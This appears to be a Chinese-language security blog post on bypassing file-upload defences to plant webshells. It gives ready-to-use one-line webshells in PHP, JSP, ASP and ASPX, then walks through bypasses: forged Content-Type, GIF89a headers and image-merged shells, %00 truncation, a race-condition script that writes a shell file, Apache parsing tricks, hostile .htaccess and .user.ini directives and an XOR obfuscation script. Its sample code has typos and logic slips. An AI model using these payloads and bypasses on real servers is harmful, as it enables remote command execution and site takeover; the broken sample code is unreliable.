文件上传漏洞常见绕过手法

网络安全 · 2023-10-29 · 1830 人浏览

一、文件上传简介

当今大多数网站都允许进行文件上传,可这是一个十分危险的行为,未经验证的文件上传操作会导致服务器权限被窃取,也就是getshell。当网站对上传的文件格式验证不严谨存在被绕过的可能时,就会导致未经授权的任意命令执行漏洞。

WebShell

WebShell分为很多种,如大马、小马、一句话木马,总体上属于木马(Trojan)病毒,是一段具有远程命令执行功能的恶意代码或是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。

这里我们重点介绍一句话木马。

一句话木马

一句话木马的特点就是短小,十分精简造成的功能又十分强大,可以产生远程代码执行或远程命令执行的功能,不同的环境有对应的一句话木马。

PHP一句话

<?php eval($_POST['c']);?> 
<?php if(isset($_POST['c'])){eval($_POST['c']);}?> 
<?php system($_REQUEST1);?> 
<?php ($_=@$_GET1).@$_($_POST1)?> 
<?php eval_r($_POST1)?> 
<?php @eval_r($_POST1)?>//容错代码 
<?php assert($_POST1);?>//使用Lanker一句话客户端的专家模式执行相关的PHP语句 
<?$_POST['c']($_POST['cc']);?> 
<?$_POST['c']($_POST['cc'],$_POST['cc'])?> 
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入*/:<O>h=@eval_r($_POST1);</O> 
<?php echo `$_GET['r']` ?> 
//绕过<?限制的一句话 
<script language="php">@eval_r($_POST[sb])</script> 

JSP一句话

<%if(request.getParameter("f")!=null)(new
java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).wr
ite(request.getParameter("t").getBytes());%>

ASP一句话

<%execute(request("value"))%>

ASPX一句话

<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

二、文件上传绕过

可以文件上传的网站一般都有防火墙进行阻拦,防止任意文件上传,防止服务器中木马病毒被获取后门。这里介绍几种主流的文件检测绕过。

前端文件后缀检测

前端文件检测一般是利用JavaScript等前端web脚本语言组成,由于前端检测的脚本不经过服务器,可以约等于没有,只能让一般网络使用者无法上传非法文件。对于网络安全研究人员来说,前端检测等于没有。

我们只需要在浏览器页面按F12编辑HTML删除检测文件后缀的js代码就可以实现任意文件上传,也可以将文件后缀名改为合法的,再通过抓包修改包内文件后缀名,就实现了前端检测绕过。
样例代码如下:

<html>
    <head>
        <title>JS检测文件类型</title>
        <script type="text/JavaScript">
            fuction selectfile(fnUpload)
            {
                var filename = fnUpload.value;
                var mime = filename.toLowerCase().substr(filename,lastIndexOf("."));
                if(mine!=".jpg" || mine!=".png")
                {
                    alert("文件格式错误");
    fnUpload.outerHTML=fnUpload.outerHTML;
                }
            }
        </script>
    </head>
    <body>
        <form action="upload.php" method="post" enctype="multipart/form-data">
            <label for="file">Filename:</label>
            <input type="file" name="file" id="file" onchange="selectFile(this)" />
            <input type="submit" name="submit" value="submit" />
        </form>
    </body>
</html>

后端文件后缀检测绕过

文件后缀检测一般是通过改变文件后缀名,来绕过服务端的文件后缀检测。一般用于使用后缀名黑名单的网站,如果文件后缀被检测到在黑名单里面,服务端就会拒绝接受文件。因为是黑名单,就有一些未考虑到的不常见文件名。

<?php
    if($_FILES['filr']['error']>0)
    {
        exit("error:".$_FILES['file']['error']."<br />");//判断文件上传十分正常
    }
    else
    {
        $name=$_FILES['file']['name'];
        $ext=end(explode(".",$name));//获取文件后缀名
        if($ext == "php")//黑名单
        {
            exit("error:illegal file");
        }
        if(file_exists("upload/".$_FILES["file"]["name"]))//文件名重复判断
        {
            exit("error:The file name is already occupied");
        }
        move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".$_FILES["file"]["name"]);//保存文件
        echo "info:The file has been saved to upload/".$_FILES["file"]["name"];//返回路径
    }
?>

后端文件类型检测绕过

这种检测基于浏览器发送报文时产生的http报文中的Content-Type字段,不过报文是我们可以操作的,所以这种检测也相当于没有,我们只需要通过Burp Suite抓包,修改这一项的值就可实现恶意文件的上传。例如我们可以将application/octet-stream改为 image/jpeg即可实现绕过。

后端文件头检测绕过

exif_imagetype()函数: 读取一个图像的第一个字节并检查其签名,如果发现恰当的签名返回一个对应的常量,否则返回false。返回值和getimagesize()返回值的数组中的索引2的值是一样的,但本函数快的多。

方法一:将图片与一句话木马合并

准备z.php和一个真jpg图片用cmd命令行输入:copy 1.jpg/b+z.php/a 2.jpg
参数/b指定以二进制格式复制合并文件
参数/a指定以ascll格式复制合并文件
注意:并不是所有图片都能完成这个操作,可以参考此链接

方法二:在一句话木马前方加入GIF89a

这是GIF89a图片头,用于标识这个文件的属性,GIF89a图形文件是一个根据图形交换格式(GIF)89a版进行格式化之后的图形。
以这个字符串开头的文件会被这个函数识别为图片。

文件截断绕过

PHP%00截断,当PHP版本小与5.3.4时,利用%00(结束符)来截断文件后缀名,%00后的字符会被自动删除,这样可以绕过文件名被变更的上传操作。

场景:表单上传文件,上传后对文件进行重命名,重命名格式为用户传参名称加上传时间拼接源文件后缀,文件类型采用白名单:jpg,png。

例如:上传文件test.jpg,返回路径"upload/test.jpg20220322183450.jpg"。

这种情况,当我们判断PHP版本小与5.3.4时,就可以使用%00截断。构造文件名为 1.jpg,传参命名时发送1.php%00文件被保存时,就会发生%00截断,将%00后的字符全部删除,从而文件名变为1.php

<html>
    <head>
        <title>%00截断</title>
    </head>
    <body>
        <form action="upload.php" method="post" enctype="multipart/form-data">
            <label for="file">Filename:</label>
            <input type="text" name="name" id="name" /><br />
            <input type="file" name="file" id="file" />
            <input type="submit" name="submit" value="submit" />
        </form>
    </body>
</html>
<?php
    $ext_arr=array('jpg','png');//白名单
    $file_ext=end(explode(".",$_FILES['file']['name']));//获取文件后缀
    if(in_array($file_ext,$ext_arr))//白名单检测
    {
        $tempfile=$_FILES['file']['tmp_name'];
        $savepath="upload/".$_POST['name'].date("YmdHis").".".$file_ext;//文件名拼接
        if(move_uploaded_file($tempfile,$savepath))
        {
            echo "Path:".$savepath;
        }
        else
        {
            echo "error:file saving failed.";
        }
    }
    else
    {
        exit("error:illegal file");
    }
?>

一般的文件上传不会允许再来一个参数定义文件名的,就算我们构造文件名为 1.php%00.jpg,他在 $_FILES['file']['name']里面的时候就已经发生截断变成 1.php了,再进行白名单检测时获取到的文件后缀已经是php了,所以过不了检查。

竞争条件攻击

这种文件攻击的方式比较偏门,有些网站先允许用户上传任意文件,在文件落地后,再用防火墙扫描文件,检测是否包含WebShell脚本,如果包含的话就删除文件。我们需要先上传一个能够自动新建文件并写入WebShell的php脚本,因为其中包含高危代码一定会被防火墙扫描出来,但是扫描和删除需要时间,在这个短的时间中调用该文件,实现getshell。

<?php fputs(fopen('../shell.php','w'),'<?php @eval($_POST[\'cmd\']) ?>'); ?>

只要在它被删除之前调用这个php文件,就可以完成向上层目录写入php一句话木马的工作。

图片马攻击

图片马是一种比较特殊的绕过方法,这其实不能算是文件上传漏洞,应该算文件包含漏洞的一部分,我在这里简单说明一下。

图片马就是在将PHP一句话木马嵌入到图片文件尾部,从而绕过安全检查的方法,要运行图片中php代码需要文件包含漏洞。也就是用php函数 include()来展示图片,这个函数会将里面的参数当做PHP文件来调用执行,这样也就产生了任意命令执行漏洞。

服务端解析绕过

例如后台限制了我们不能上传后缀为php的文件,而有些Apache是允许解析php文件的别名,如:php3,php4,php5,phtml等。

服务器配置绕过

网站运维人员在httpd.conf中配置了 AddType application/x-httpd-php .php这样的字段时,这样会导致含有.php的文件都会被解析为php文件。如果添加AddType application/x-httpd-php .a,这样将会导致.a文件也被解析为php文件。

Apache倒序解析

在Apache的解析文件名顺序的时候是从右向左的解析的,如果解析到的第一个文件后缀无法解析,就继续向左继续解析,直到遇到可以解析的文件后缀为止。这样我们可以构造 1.php.xxxx这样的文件名,这样也可以绕过的黑名单墙。

.htaccess文件上传

.htaccess名为分布式配置文件,他可以将其所在的文件夹下的文件格式解析方式改变,所以我们可以通过上传.htaccess来将图片文件解析为可执行文件,来执行我们上传的图片马。

利用条件

  1. php5.6以下不带nts的版本
  2. 服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件

    <IfModule >
    setHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
    </IfModule > 
    
    <FilesMatch "shell.jpg">
    SetHandler application/x-httpd-php #指定文件解析为php
    </FilesMatch>

.user.ini文件上传

我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

使用条件

  1. 服务器脚本语言为PHP
  2. 对应目录下面有可执行的php文件
  3. 服务器使用CGI/FastCGI模式
    .user.ini它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。

    auto_prepend_file=shell.jpg //在页面顶部加载文件  
    auto_append_file=shell.jpg //在页面底部加载文件

PHP标签绕过

屏蔽<?php ?>:可以使用PHP短标签绕过,可以用<?= ?>代替php标签。<?= ?>短标签会直接把php的结果输出,<? ?>的功能则和<?php?>完全一样。过滤空格可以用\t绕过,或者%09也就是tab的URL编码。php反引号中的字符串会被当作命令执行。
<?被过滤时,可以使用<script language="php"></script>来绕过waf。

异或绕过

异或绕过的脚本

<?php
$shell = "phpinfo()";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
    for($x=33;$x<=126;$x++)
    {
        if(judge(chr($x)))
        {
            for($y=33;$y<=126;$y++)
            {
                if(judge(chr($y)))
                {
                    $f = chr($x)^chr($y);
                    if($f == $shell[$num])
                    {
                        $result1 .= chr($x);
                        $result2 .= chr($y);
                        break 2;
                    }
                }
            }
        }
    }
}
echo $result1;
echo "<br>";
echo $result2;

function judge($c)
{
    if(!preg_match('/[a-z0-9]/is',$c))
    {
        return true;
    }
    return false;
}
远程命令执行 RCE 远程代码执行 文件上传 绕过技巧 1830 Views
本站已在互联网运行了 Theme Jasmine by Kent Liao